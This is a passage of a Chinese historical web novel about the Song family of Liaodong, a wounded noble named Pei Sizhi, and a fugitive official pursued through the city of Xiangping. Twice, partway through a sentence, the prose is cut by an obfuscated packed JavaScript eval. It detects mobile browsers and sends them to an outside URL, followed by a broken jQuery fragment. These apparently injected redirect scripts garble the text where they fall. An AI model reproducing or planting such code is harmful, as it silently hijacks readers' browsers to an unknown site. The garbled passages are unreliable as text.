昭儿还在一旁跪坐着,小小的身体蜷在一起,目光茫然又关切地注视这一切,不知是在脑中经过怎样的一番思索,稚嫩的声音主动开口:“阿母保护姐姐,姐姐也保护阿母。” 宋禾弦怔了怔,“什么?” 昭儿抽了抽鼻子,“阿母保护姐姐,姐姐保护阿母,等我长大了,我也要保护姐姐和阿母。” 宋禾弦笑了,侧首望着自家夫人的神色,低声凑近道:“昭儿都知道你们对彼此的心意呢。” 杜婉斜了他一眼,语气似有缓和,“我早就说过,女儿出去是长见识、练性子的,我当年拼了命生下她,不是为了让她在外面因为一点事就豁出命去。别说这是还未出阁的女儿,就算她人至中年,我也用不着她护着我,若是非说什么时候才用得着她这般费力,也得等我有一天躺床上起不来、管不了她的时候。” “是是是。”宋禾弦疯狂朝小词打眼色,“听见了吧闺女,你阿母要操心你一辈子呢,你最该做的就是好好珍惜你这条小命,下次再让你阿母知道你以身犯险,肯定是要重重罚你!起码要关你禁闭!” 杜婉立马反应过来,“什么下次?你的意思是这次就这样放过了?宋禾弦你再这样轻纵溺爱他们,小心我——” 宋禾弦眼珠一转,“夫人这般疼爱孩儿们,宁愿操心一辈子也不想让孩子们冒险,若说溺爱孩子,为夫可不敢与夫人争。” 他瞧着杜婉的脸色,又在其耳畔低语:“但夫人若真愿意把宠溺孩儿的名头让给我,我也是甘愿的呀,咱们俩把红白脸一唱,何愁教育不好两个孩子,是不是?” 不等杜婉接话,宋禾弦当即扬声 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杜婉嫌弃地朝下看了一眼,被毛绒贴住的脚却没动,“还真是谁养的狗像谁,这小白不仅吃饱了就睡,还黏人得很。” 昭儿往小词身边挪了挪,低声道:“阿姐,你说咱阿母奇不奇怪,嘴上说着烦,实则陪我照顾一下午小白,又是造窝又是拿被子的。” 宋清词悄悄扬了扬眉毛,“你要是少惹她生气,她还能腾出更多时间稀罕狗。” “阿姐你还说我,你自己不也……” “你们两个嘀咕什么呢?”杜婉板着脸,刚要按照原计划浅罚一二,就见小词手腕处滑下一道红痕,定睛一瞧,哪里是什么红痕,分明是手臂上的伤口溢出血水来了。 “哎呀,这怎么……是不是跪的太久了?快让我看看!”杜婉说着,也顾不上脚边的狗了,三步并做两步地前去掀开少女的袖子,果然是一片触目惊心的红。 “定是伤口又崩开了,该死的流寇,真该扒了他们的皮!” 宋禾弦适时开口:“你看,我就说还是要夫人再给小词包扎一下吧?较深的伤口时不时往外渗血是常事,主要是今夜得好好看顾着,若是换帛不及时,伤口感染了会起高热的。” 杜婉果断道:“成,今晚我在小词屋子里睡,免得半夜出什么状况。” 他们两个倒是商量明白了,轮到小词发懵了。回想上一次杜婉陪着她睡,还是四五岁前常常受惊高热的时候,只要小词有发热的苗头,那杜婉当夜定然是睡不好觉的,亲力亲为,根本舍不得把她交到下人怀里。 隔了这么多年,阿母还是拿她当个小孩子。 她试探道,“其实没关系的,已经不那么疼了。” “胡说八道,流血哪有不疼的,先起来别跪着了。” 杜婉说着就要扶她,小词却按住她的手,歪着头,眼睛亮晶晶的,“阿母不生我气了吗?” 杜婉瞪着眼,“小丫头,得了便宜还卖乖是吧?” 小词努了努嘴,单手摇了摇阿母的胳膊,“阿母让我起来,肯定是不生我气了,是不是?” “做什么梦呢?”杜婉道,“一码归一码,这事还没完呢!赶紧给我起来回屋躺着去!” 小词晃晃悠悠地,快要把整个身子的力气压在阿母身上,得到阿母的怒目圆瞪后又笑嘻嘻道:“阿母,我胳膊不疼,但我肚子饿。” 母女俩一步一摇地搀扶着往外走,杜婉问她:“咋,你阿翁没给你饭吃啊?” 宋清词:“对,他明明和我约好了晚上吃汤饼,结果等晚上了又不带我吃了,我饿肚子回来的,呜……” “那你一天天还巴巴地跟人出去,连口饭都没混上!” “一码归一码,阿母,我这不是有你嘛……” “仅此一次,下不为例!听见没有?若再让我知道你在外面受了什么伤,你就甭想出这个家门了,磨练性子和性命相比,孰轻孰重阿母还是有数的……” 声音越来越远,留下屋里的两人一狗面面相觑,还是小昭儿率先站起来,弯腰拍拍有些僵的一对膝盖,而后把狗捞到自己怀里。宋禾弦眼看着这小子就要忽略自己转身而去了,连忙开口叫住:“怎么,你阿父还在这呢,你就这么自然地走啦?” 昭儿回首瞧他,理所应当地:“阿父这么疼我,肯定不会让我继续跪呀!” 宋禾弦哼声道:“啧,我家小子还是有点良心的哈!还知道是你阿父对你最好。” “你最好你最好!”夜风袭来,昭儿的步伐毫不留恋,腾云驾雾般的,“我去找阿母阿姐睡觉喽!” 被留在最后的老父亲深吸一口气,神色如常地痛饮一盏茶,叹道:“过河拆桥,一家子都这样。” 寂静的宋宅深处久久传来一道依依不舍的男声,连屋顶的积雪都被震下来几片,树上麻雀亦交头接耳地离去,“婉儿,婉儿,做了什么好吃的,可有给为夫留一碗啊——” 10. 第 10 章 那晚宋清词还是起高热了。 她终于梦到了些不一样的东西,她梦到自己当夜杀的第一个人,梦到那人脖颈上碗口大的刀疤,梦到所有刺客像见鬼一样望向她的眼神。 他们像是在看一个屠戮者一样,在看她。 明明他们才是…… 身体对杀人的恐惧吞噬了她所有理智,那些她在清醒时极力掩盖的声音,终究还是来到了梦里,难缠地在她耳边反复质问: -你杀了人,手上沾了血,是不是代表……你和他们是一样的人了? -如今你与那些你痛恨的人,那些杀人不眨眼的恶魔,都一般无二了? -今夜那一刀斩断的头颈,那一片血雾,和当年平安县惨遭屠城时有什么两样? 陷在梦中的人儿痛苦地蹙起眉来,想要控制身体醒来却做不到,四肢像被镶在床上一样沉重,她知道没人能来帮帮她,却还是无助地嘤咛出声。 “词儿乖,阿母在,不疼了。” 温柔又带着些倦意的声音萦绕在耳边,一只厚重温热的大手轻轻拍在她的身上,安抚着少女的身体和灵魂。 “阿母在呢,弟弟也在呢,什么事都不会再有了。”对方呢喃道,“没有什么人再能欺负词儿了。” “我的词儿是天底下最好最好的姑娘,好孩子,阿母拍一拍就不疼了。” 少女布满汗珠的苍白脸色渐渐恢复红润,颤抖的浓睫也安分下来,妇人用热帕子为她一下又一下地擦拭面庞,不厌其烦地抚平她拧紧的眉头。熟悉的手掌和温度,令梦中人无意识地眼角湿润,泪珠在夜幕中悄然滑进枕头。 其实她对现实中的境况感受得并不真切,可是那道力量太暖太暖,暖到足以将堕入混沌之人拉回来,让她这许多年来积攒的坚定信念重新主导自己的内心。 梦境中,少女合着眸子盘膝而坐,任由无数道尖锐惨叫充斥在周身,脸上也没再流露惊恐焦躁的神色。 她只在梦中如是道:“别再扰我心神了,我阿母在呢。我想睡个好觉。” 又道:“我与那些野蛮屠戮之人从不是一类,满手鲜血不是我的本意。” “但——武为止戈,我勤学苦练十六年,不是为了屈服于暴力的。” - 今夜的城南别院不似往常那般幽寂,为裴肆之缝合伤口的医官直至下半夜才离去,临走前帮其卧房熄了灯,轻手轻脚将门掩上,才朝门外等着的宋府家将道:“这位爷是个能忍的,伤口那么深,缝合起来颇费功夫,他硬是一声没吭,倒是颇有我们军中将士的风范!我动刀之前瞧他那张脸,还以为是什么娇气的公子哥呢,没想到等我包扎完,就是写个药方的功夫,这人就睡着了……” 交谈的声音越来越远。黑漆漆的卧房内,榻上的男人敞着衣襟仰面躺着,平和的神情和轻缓的呼吸似乎在证实他已然陷入熟睡,连窗外的寒风呼喝都没令他有所反应。 只是不知从哪一阵寒风开始,这屋子里又多了一道呼吸。 “阁下一身血腥气,就没必要再躲藏了吧。”裴肆之微微睁眼,眼中杀意弥漫。 来者原本隐匿在房间角落,闻声才近前两步,月光透过窗棂映在他身上,使裴肆之瞧清他这一身裴家特制的暗卫劲装,他单膝跪下去,低哑的嗓音带着些许恭敬:“小人行风,奉大公子之命,暗中北上护送四公子周全,令四公子受惊了。” 裴肆之打了个哈欠,随手扯了个枕头靠在身后,动作间胸前蜿蜒的陈年刀疤又多裸露几分,“等你来护爷周全,爷都不知道死了几个来回了。” 行风的眼里并没有受到责问的恐慌,仍旧微垂着眸,“四公子遇袭时,小人虽有所察觉,但也被那一路杀手追溯到了踪迹,不得已只好先行改道,想着甩开对方后再与四公子回合,奈何对方对地形极为熟悉,小人这才误了时机。等寻到您时,您已然被带上了宋家马车。办事不利之罪,请四公子责罚。” “说笑了,你是我大哥的人,我怎么好意思罚你。”裴肆之嘴角噙笑,“行风啊,这名字我记得,我大哥难得培养出个杀人的好材料,捧得跟眼珠子似的在父亲面前夸赞连连,如今竟还舍得放你出来护我,我怎么能不领情呢?” 行风道:“临行前,大公子曾说,他只有您一个弟弟了,自然是要倾尽所有、用心看护的。” 此话一出,两人间那根微妙的弦霎时崩断,榻上的男人脸上失去了一贯的笑,连讽刺嘲弄的神色也不再有,外头的寒风撞击窗户阵阵作响,他整个人都居于黑夜中,未开口的片刻里像是根本不存在于这一方天地里,如果行风这时敢抬头,就能看到裴肆之投来的目光已经像在看一个死人了。 “行风啊,近前来。” 对方应声上前跪地,裴肆之拍了拍他的肩,云淡风轻道:“对幽州的明枪暗箭留神些,父亲和大哥看重你,你可得完好无缺地回去。” 行风似要抱拳谢他,可肩膀又被裴肆之更用力地压下去,像是要沿着骨缝把他拆了,疼得行风顿时脸色煞白,不等开口,裴肆之又道:“别在这就把命丢了。” 行风闭眼忍着痛,咬紧牙关道:“四公子想何时离开此地?小人既然寻到您了,定舍命送您出去。” 裴肆之松了手,目光掠过窗外巡视的几个人影,悠哉得仿佛从未动气:“急什么?吃了这么大一个暗亏,怎么能就这么放过他们。宋太守把我安置在自家的别院里,应是对我的身份有了猜测,想摆脱刺杀我的嫌疑。我大可以承了他的情,在养好伤之前把截杀我的人找出来,把仇报了,也好一身轻松地回去。” 他睨着行风,继续道:“外面巡视的宋家家仆不是等闲之辈,想混进来应当不大容易,你是跟着我的马车进来的?” 行风答道:“是,此宅的配备比想象中严密颇多,进出不易,但若是四公子有需要,小人愿受四公子差遣。” “受我差遣,合适吗?你可是我大哥的人。” “小人虽在大公子跟前办事,但自幼受裴家教养,裴家人便都是小人的主子。”行风扬起头,“再者说,为您扫除祸患,也有利于大公子交代给小人的任务。” “这话说的也在理,那你就等我的消息吧。”裴肆之手指轻轻叩击着床沿,目光审视着对方,不经意地问起:“我听徐子猷说,原先的青州统帅一家子都死了。按理说大哥如今升任兖州牧,怎还有闲暇管我青州的事?可别累着他了。” 行风沉默了片刻,才面无表情道:“大公子吩咐下去的事,小人怎敢揣测其中用意?想必是那一家子仍不安分,大公子怕影响了四公子对青州军的交接吧。” 裴肆之哑然失笑,不再言语。 他今年入秋刚随父亲凯旋还朝,朝廷为了解决青州农民起义猖獗之事,特设青州军统帅一职封赏于他。这于旁人而言或许不是个美差,可对裴肆之来说却是个能摆脱裴家军的好机会,若他能完全掌控青州军,日后便可不再事事受制于父兄。 整个秋季,裴肆之都在一步步交接地方军权,把往年跟着自己出征的亲信也编入地方军笼络军心,如今眼看着青州军上下人心向他,裴家大公子裴羡之就派人把原先的统帅一家杀个干净。 前去灭门的定是明晃晃的裴家人,而在外人眼里能与先统帅有利益冲突的也只有裴肆之,所以徐子猷才那般笃定地当面指责他。 他的好大哥哪里是怕影响他对青州军的交接……他是生怕他交接得太好。 对青州掌握太好,不受制于裴家一道接着一道的军令,那还有谁会不顾功名地托举他裴羡之,托举这个裴家继承人成为东朝的继承人。 毕竟,大哥只有裴肆之这一个弟弟了。 屋外似有脚步声越来越近,裴肆之敛下眺望的目光,对身旁的行风轻声道:“你先走吧,需要你时自会找你。” 行风起身,“公子保重。”随后便翻窗而跃,消失在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480520|185618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜色里。 门外的宋屹恰在此刻推开门,将煮好的汤药送进来,瞧见裴肆之好端端地坐在那,宋屹一脸喜色,“你醒了?果然如姜医官所说,是个好体魄的汉子!我方才还和弟兄们说手脚轻一点,免得把你吵醒了来着!” 来人的热情似乎冲淡了这屋子里原有的苦涩,裴肆之抬头瞧着这个和自己年纪相仿、肤色黝黑体型壮硕的少年人,难得说不出刻薄的话来,只问道:“你是?” 宋屹把烛灯点上,又把汤药端给他,“我是这院里的管事,你叫我宋屹就成了!你在城南别院的饮食起居都由我照看,你放心,来了就是一家人,我们不会薄待你的!” 裴肆之低头,将汤药一饮而尽。 宋屹脸上净是爽朗的笑,“对,喝了药,再睡一觉,没什么伤是好不了的!你就安心在这歇着吧,有什么需要随时叫我就成了,我就在西边那个屋子住,离你不远!” 裴肆之点点头。 宋屹想了想,又问:“你爱吃甜的还是咸的?有没有特别忌口的?吃不吃辣?我们院里的辣味卤菜做得可香了,夫人经常冲着这一口特意来别院吃饭呢,你要是愿意,明早我给你露一手!” 裴肆之弯了弯唇角,客气应了声:“都好。” 宋屹见他面色发白,担心自己话太多会打扰他休息,又嘱咐了两句,便手脚麻利地收了碗退出门去了。门口等着的两个弟兄见状连忙跟上宋屹的步子,追问道:“如何?” “如何呀屹哥,是个好性子的吗?有没有什么忌讳?” “看着是位随和的小郎君。”宋屹扬起头,有些骄傲,“说起来,咱家姑娘都多久没有往家里领客人了?自打林公子他们一个个地离开襄平,咱家姑娘就没再结交什么同龄的好友了,终于来个生面孔,明个我得亲自下厨。” 其中一个家将道:“那我明个把我屋里的木轮车送给他,万一他想出来晒太阳又行动不便,兴许能用得上呢!” “那我把……”另一个家将忽而想到,“可是我听说,这是刚从辽东大牢里接出来的囚犯啊……这能成咱们姑娘的好友吗?” “瞅你这脑瓜子,能接出来,当然是清白的了!”宋屹持反对意见,“若是个坏心眼的,怎么能送进咱们别院,又叫咱们好生看顾不得怠慢?哎,可惜刚刚送来的时候他们也没交代太多……” “你这脑瓜子,就别说旁人了。”远远的一声笑骂传来,三人闻声瞧了一眼便立马躬身抱拳道:“嶙总管。” 宋嶙大步而来,伸手免了几人的礼,朝着为首的宋屹道:“主君担忧裴公子的伤,遣我过来看看。” “医官说他伤势虽重,但身体的底子不错,好生修养几日就能正常行走了。这会儿刚服了药睡下。”宋屹道:“去主宅回禀的弟兄已经在路上了,深更半夜的,嶙哥怎么亲自过来?” 宋嶙横了他一眼,“你满心思都是给人家做卤菜,我还以为你不记得回禀了呢!” 宋屹有些不好意思,憨笑了声,“大规矩怎么能忘!嶙哥又笑话我了。” 宋嶙饶有兴致地道:“看你们这样子,是准备好怎么招待了?” 旁边的小子咧嘴笑道:“咱们屹哥不仅武艺难逢敌手,这一手好菜同样是鲜有对手,院里难得来了个客人,我们便想着把自己拿手的都给他瞧瞧,可不能给咱辽东宋家丢脸!” “是该如此。”宋嶙笑道,“虽说裴公子来辽东的目的尚不明确,但来者是客,我看主君的意思,就是我们尽力而为,别叫人家离开后说咱们宋家的不是。” “这是自然!这礼节我们都是懂的!” 末了,宋嶙又道,“主君说,若是有人入府探望,只要裴公子没意见,便不必过加阻拦。唯有一点,切不可让人在府中伤了裴公子。” 宋屹想了想方才推门时隐约听到的声响,爽快一笑,“知道了,嶙哥!” 自己的脑瓜子果然没那么笨。 11. 第 11 章 待到天边重新泛起鱼肚白时,这场雪才彻底停了。 言释行下榻之处并不是辽东郡府安排的,而是言家几年前就在襄平县置好的一处华贵宅院,院落不大却环境极好,平日没有主家居住,但时常有仆役洒扫。在各州多多置办宅院用来避暑避寒是世家贵人们的通病,郡府官员们虽然背地里会有些唏嘘,但也见怪不怪了。 况且言释行住在言府还有个好处,就是免了官员们的费心招待。如今各州纷乱灾情频发,世道不济,辽东也会略受波及,官员们每日要处理的事务像山一样多,自是多一事不如少一事,只要言府没有召他们上门,他们便不会自讨没趣。 李成沛正是知晓这个道理,才会在昨夜被官兵捉拿之前逃到言府去,如愿被收留后,便沾沾自喜地等着言释行把他送出城。 “你倒是睡了个好觉。” 言府的一处偏僻卧房内,仰头酣睡的李成沛被声音吵醒,烦躁地翻了个身,不悦道:“谁啊!” 下一瞬,似乎才意识到自己如今是个逃犯,又惊愕睁眼,回头朝着站在榻前的人影望去,“言……言主簿!” 言释行身着一袭白衣一尘不染,只是脸上带着不加掩饰的讥讽笑意,仿佛与昨日在辽东官员面前的温和君子判若两人,他居高俯视道:“李大人,大清早的,言某扰您好梦了。” “不敢,不敢。”李成沛忙不迭地坐起身来,“成沛多谢言主簿昨夜收留……主簿这么早来找下官,可是有好消息了?” 言释行的目光朝外瞥了一眼,“城门已开,你说呢?” “这,我这是能出去了!”李成沛激动道:“言主簿放心,我坐您的马车出城,他们保准不敢冒犯!我这点杀人未遂的小案子,我料他们也不会在全辽东搜捕,只要出了襄平县,下官便自行前往玄菟郡找州牧大人,州牧不会不管我的!” 言释行有些意外地挑眉,“你对徐子猷倒是挺信任?裴肆之没死成,你还把自己暴露了,差事办成这样,我还以为你想直接逃出幽州。” 李成沛咬紧牙关,“州牧派下来的那么多死士都没得手,可见此事办砸也不是我一人之过!州牧并非残忍无道之人,不至于因为一次任务没完成就要了我的命!” “封个口而已,称得上残忍无道吗。”言释行笑笑,“你不想逃也好,我本也是想把你送回徐府去的。那日徐子猷派我来与你交接,若你能安然回去,也算我对他有个交代。你这就从后门走吧,马车给你备好了。” “公子。”言府的侍从忽而在房门外禀报。言释行瞧了李成沛一眼,起身折返至屋外,待府中侍从在耳边低语几句后,言释行眉头轻提,神情有些微妙。 李成沛死死盯着他的脸。 言释行垂眸沉吟片刻,抬首时瞧见李成沛紧张的神情,有些发笑:“郡府特意给你编造了个‘盗窃官印’的罪名,以此大肆搜捕于你,如今城内多处都有他们搜查的人马,不如你再等等,在我府上避避风头?难道宋家真的狂妄到敢来我府上拿人不成?” 李成沛却异常坚持:“下官对襄平地形再熟悉不过,主簿若能将官兵的巡查点告知我,我就可以找出一条规避巡查的路线!到时便只需通过城门这一道关卡,逃出去的胜算会大上许多。” 言释行自然没理由拒绝,抬了抬手,身后的仆从便道:“现下官兵主要在周渔、白弥、甜巷,以此三地为起点,向内推进行搜捕。小的问了周围的百姓,这三个地段离我们很远,但都在襄平的主干道上。” “都在主干道,那岂不是很难避开?”言释行满不在意,朝着愣怔的人问道:“李大人,您怎么不说话了?言某初来乍到,这三个地方我可是连听都没听过,指望我是有些难了。不如我找人去外头买一份舆图,然后您再慢慢研究?” “舆图就在下官脑子里,何须再买。”李成沛忙抬手制止,眼睛往桌上瞟了瞟才道:“如果不急,我……我先吃点东西垫垫肚子……等想出路线了再禀报给您,可好?” “好啊,您慢慢想。”言释行瞧他那个狼狈的样子便心生鄙夷,毫无留恋地大步离去。 走了几步,似乎突然想到了什么,偏头朝身后仆从斥道:“出去给我寻一份襄平舆图来,快点!” 而此刻,屋内的人以茶水为墨,沉默而颤抖地在木案上画出周渔、白弥、甜巷三地的方位。 最后,他又准确在案上点出言府的位置。 一切都画好之时,他几乎快要崩溃。 三地连在一起,刚好是一个能以言府为中心的包围之势—— 他突然想到方才言释行冷漠蔑视的笑脸,估计还不等官兵搜到言府,言释行就会察觉官府已经将目光放在此处,以言释行和他的交情,顺水推舟可以,雪中送炭是不可能的。 他身上还有和言释行共有的秘密,不等官府来拿人,言释行就会为了自保先将他处理掉。 这才是瓮中捉鳖,无路可逃。 - 宋府。 许是因为刚刚入冬,晨起的寒风并不像想象般凛冽,到处都是朝阳烤在落叶上的味道,宋清词穿着一身练功的素衣在院里打拳,胳膊上的伤还有些疼,但对她而言影响不大,顶多是减少了些快拳的练习。她站在风里,跟随风向和风力的变化调整拳路,筋骨齐鸣之声萦绕耳畔,正是专心时,屋里传出一道瓮声瓮气的童音: “我的袜子怎么不见了……啊,姐姐!小白叼走了我的袜子——小白偷袜子啦!抓小白!” 少女挑眉望去,隐约瞧见屋里的人影正绕圈跑呢,一看就是在追小狗。 宋清词擦了擦额前的汗,慢悠悠地走过去,好心肠的将房门打开一道缝。 小白顺势跑了出来,嘴里还叼着雪白的一双袜子。 “跑出去了!跑出去了!啊,坏小狗!” 昭儿慢一步跑出来,光脚穿着鞋,衣服也歪歪扭扭邋里邋遢的,宋清词倚靠在门口抱着肩看戏:“怎么还跑不过小狗呀?” 昭儿气鼓鼓的满院子追狗:“我都看见了!就是姐姐把它放出来的,我一会要告诉阿母!” 宋清词乐了,做了个鬼脸,“那我就告诉阿母,你赖床。阿母早就喊你起床了,你多躺了足足三刻钟,阿母今日亲自下厨,估计饭都快烧好了,就你还磨蹭。” 昭儿可算是知道四条腿的跑得有多快了,越追越快,哪怕这小狗就两个月大,跑起来却是又快又灵活,他好不容易把它堵在角落里,刚要伸手去抓,小白一个扭身,跟个泥鳅一样又从边上逃了。 正巧杜婉带着几个侍女将早膳端进小院里,杜婉手里的东西还没放下,嘴上就开始喋喋不休了,“闹腾什么呢?呦,咱家小公子居然没赖床,太让人感动了,快叫人放几个炮仗,请邻里邻居都来贺喜!” 小丫头们嬉笑一片。 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480521|185618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清词也笑话昭儿,又见他还是没完没了地追狗,便蹲下身来试探着唤:“小白,快来!到我这里来!” 没成想还真好使,小白闻声就一溜烟地朝小词这边跑,最后“咚”地一声撞到小词怀里,再洋洋得意地叼着袜子瞅着昭儿,就差说人话了。 “小坏狗。”宋清词捏着小白嘴筒子,夺下一只袜子递给昭儿:“你俩一人一只,公平吧?” 昭儿:“……” “行了你们俩,快来吃饭吧,咱们小白也该吃饭了!”杜婉在屋里喊道。 “它不应该叫小白,应该叫偷袜子大盗!”昭儿回屋坐在食案前的时候还在气喘吁吁呢,两只小手叉着腰,大大的眼睛往桌上瞟,“有我和姐姐爱吃的烤羊排诶,香香的。” “阿翁和阿父不来吗?”小词问。 “你阿翁有公务,一大早就出去了,特意嘱咐今日你不必跟着,好好在家养伤。”杜婉给小词盛了碗粟米粥,“你阿父更是天不亮就出门了,但他是叫上好友去钓鱼了,咱们娘仨吃咱们的,不用等他们!” “那么早?阿父平时也没那么喜欢钓鱼啊。”昭儿捧着羊排啃得正香。 小词想了想,再开口时眼睛笑得眯成了一条缝,“你不喜欢读书,不也是要一大早就读书吗?” 昭儿果断摆摆手:“姐姐,吃饭的时候别提这些不开心的!” 惹得众人又是一阵哄笑。 晚些时候,小词独自在房里看书,院里静谧一片,显得宋嶙急匆匆赶来的脚步声格外引人注意。 宋清词抬头瞧了眼,心中隐隐知道是外边有消息了,放下手边的东西,召人进来说话。 宋嶙道:“姑娘这一手引蛇出洞果然成了!李成沛还真从言府逃了出来,言府的人正各处找他呢!这人有些本事,逃出来后扮作乞丐一路潜逃,不仅躲开了沿路的巡兵,还委托一个小乞儿将一封血书送至宋府。” 宋清词凝眉道:“他掌刑罚事,常年混迹在牢狱间,知道各处的偏僻小道,只要他不硬闯城门,就还有的逃。他信上写的什么,送到阿翁手里没有?” “主君刚回院里便收到信了,信上只写着:‘东南松树林’。这李成沛大抵是想用自己最后的价值换活命的机会,属下看主君的意思,既然人是姑娘找出来的,后面的事也可以由姑娘来做。” 宋清词抬脚便要往主院去,宋嶙及时开口道:“姑娘,昨夜在大牢里谋害裴公子不成反自戕的狱卒老王,您可还记得?” 宋清词驻足道:“当然。” 宋嶙垂着头,“衙门的人把整个襄平翻了个底朝天,今儿早上才找到他的家人,是被李成沛关在一处地下的冰窖里,四个人,在无光无粮的环境里活生生冻死了两个,其中一个还只是不满一岁的孩子,就在母亲怀里死的。主君今晨就是去处理这件事了,这会儿才回来,脸色差得厉害。” 宋清词经过短暂的错愕后,便沉默下来,良久,宋嶙才听到少女发出一声叹息:“他真该死啊。” “……”宋嶙愣了愣,连忙道:“属下把实情告诉姑娘,就是为了让姑娘一会儿莫要冲动。主君想要的是李成沛嘴里的情报,姑娘若对他起杀心,主君恐怕不会再将此事交与您。” “放心好了。我什么时候冲动过,事关辽东大局,我一向谨慎。”少女的背影既挺拔又英气,“时候不早了,宋嶙,再不走就赶不上回来吃晚饭了。” 12. 第 12 章 宋清词到阿翁院里坐了没一会儿,就准备带着宋嶙去襄平城东南角的那片松树林。 临走前,阿翁叫宋嶙从家将中多调配些人手,暗中在松树林左右布控,以免李成沛狗急跳墙伤了宋清词。 在小词眼里其实没什么必要,但凡李成沛手里还有调配刺客的能力,也不至于落到这步田地,若只有李成沛一人,那她更无所惧。 可看着阿翁时不时停留在她手臂伤处的目光,小词想了想,便没回绝。 “世道不好了,应该给你打一把能随身带着的兵器。”宋秋廷瞅着她离去的背影说道。 宋清词回头笑了笑,扬声道:“孙女眼光可高着呢,兵器要拿就只拿最好的!天下第一的玄铁双锏已经在孙女房中了,至于其他的,随身带着哪有从别人手里抢来的快!” 宋秋廷原本还算凝重的神情顿时散去,失笑道:“那不过是一对还算上乘的重锏罢了,哪有什么天下第一,就你还拿阿翁那点东西当个宝贝。” “在我心里,那就是天下第一啊——” “小丫头,看来没被吓破胆子!”宋秋廷在后头笑骂道。 宋清词大步朝前,背对着阿翁招了招手,潇洒轻快地离去。 辽东郡地处东北,最不缺的就是成片的松树林,每逢冬季下雪之后,赤松和油松的藏青针叶上都会裹上厚厚的雪霜,地方的老人们管这叫“青簪带雪”,风过一阵,便有雪沫子簌簌往下落,落在脸上冰凉凉的,像是永远都不会停的一场雪。 宋清词之所以知晓李成沛说的是哪一片松树林,是因为襄平东南方向前两年林间开垦的时候她便曾看过,那时阿翁主张把一些荒废多年的松树林改造成宜居的住所,引城外偏远的乡民搬到城内来,只留了最边缘的一片松树林作为屏障。因为开垦的时间不长,能准确找到这片林子的人并不多,但如果对方是李成沛,那就再正常不过了。 她与宋嶙快马赶过去时,黄昏正浓,视野不佳,随行的家将已经开始远远地布控以防外人潜入,宋清词只叫了宋嶙随自己进去。 二人顺着林间小径缓缓迈入,半晌后,宋清词环顾四周,已经很难再透过树林看到外面的炊烟,周围的松树树干也比外围的松树粗上不少,哪怕树后藏个人也不易察觉。这应该就是最中心且僻静之地了,她吩咐宋嶙不必上前,而后才开口道: “宋家长女宋清词,奉祖父之命前来赴约。” 话音落下,不见人影,四周只有她独自漫步踩雪的脚步声。 晚风阵阵,细碎的冰粒直往眼里刮,宋清词闭了闭眸,再开口时已然没什么好心情,“李成沛,到底是你求着见我,还是我求着见你啊?” 李成沛果然从一棵赤松树后走出来,目光死死盯着宋清词,问道:“怎么是你,我要找的是宋秋廷!” “你再直呼我阿翁名讳,我就没什么想和你谈的了。”宋清词冷漠道,“李大人,我以为你写下那封血书,是因为你看清了这里是襄平,只要我想,你就翻不出这座城。” “我知道你阿翁看重你,但他也不该让你一个小丫头来羞辱我!我要谈的是何等大事,你做得了主吗?”李成沛恶狠狠道。 “那就看你找的是宋太守,还是宋家家主了。”宋清词踱着步子,不紧不慢道:“辽东的事情,我一个没有官身的普通人自是不敢妄言。但如果你想找的是宋家人,谋的是我宋家的输赢,我站在这里,就代表我做得了这个主。” 见李成沛还有些犹疑,宋清词斜睨着他道:“不然你以为我为什么会出现在这?抓你?你一个身负要案的通缉犯,还需要我宋家亲自来拿人吗?” “呵。”眼前少女说的话,李成沛心中自然清楚得很,“百闻不如一见,清词小姐临危不乱,果非寻常人。好,我且信你一次。清词小姐,前方有一座石桥,还请随我移步。” 见宋清词十分懂规矩的独自跟上,李成沛嘴角划过一抹笑意,说道:“宋太守今日如此逼我现身,应是已经猜到我的身份了。我还以为,就凭我身后之人是州牧,他也会亲自前来与我赴约,可他却让小姐一介闺阁女子以身犯陷,啧……”他转过头来,扫视着对方,狐疑道:“是你不晓其中内情,难道你真的不知道怕?” 宋清词踏上那座狭窄的青灰色石桥,目光落在桥下尚未冻实的小溪,淡淡开口:“如果你还想活命,那我没有怕的理由。如果你不想活命,我可以做个好人送你一程。” 李成沛驻足,面露惊愕,“你……你真是……” “我开玩笑的。”宋清词正视他的眼睛,扯了扯唇角,语气缓缓:“若你不是徐子猷的一颗棋子,你以为你凭什么和宋家谈条件?辽东像你这般被安插进来的棋子不知还有多少,我有什么好怕的?李成沛,你和宋家没交情,我也没时间和你推杯换盏地探讨我的胆量,我只想知道,如今你一介亡命之徒,还有什么底牌能换你这条命。” 李成沛眼中的狡黠之色彻底浮现出来,他盯着宋清词道:“如果我说,我可以助你宋家铲除异己呢?” 见宋清词并不轻易搭腔,李成沛只好再接再厉道:“我知道,你宋家未必会把言释行这个手里没点实权的世家子弟放在眼里,但那言释行何许人也?他伯父可是京城的刑部尚书,他能搭着袁党这条线北上幽州,难不成你真以为他是来体会民生的?州牧派他前往辽东与我接头,最初的目的可不是杀了牢狱里那人。” 他说的话倒是正如宋清词所料,昨日她就在想,怎么裴四刚被她救下还没一个时辰,言释行便抵达襄平了?但若言释行另有目的,只是顺道配合一下李成沛暗杀的任务,那便说得通了。 想到这,宋清词笑笑,叹道:“以你的身份,还能知道言释行的目的?李大人不简单呐。” 李成沛如同被捧上云端一般,“若清词小姐知道昨日自己救下的是何许人,自然也同我一样,能猜得出其中一二的。” 终于说到她感兴趣的。 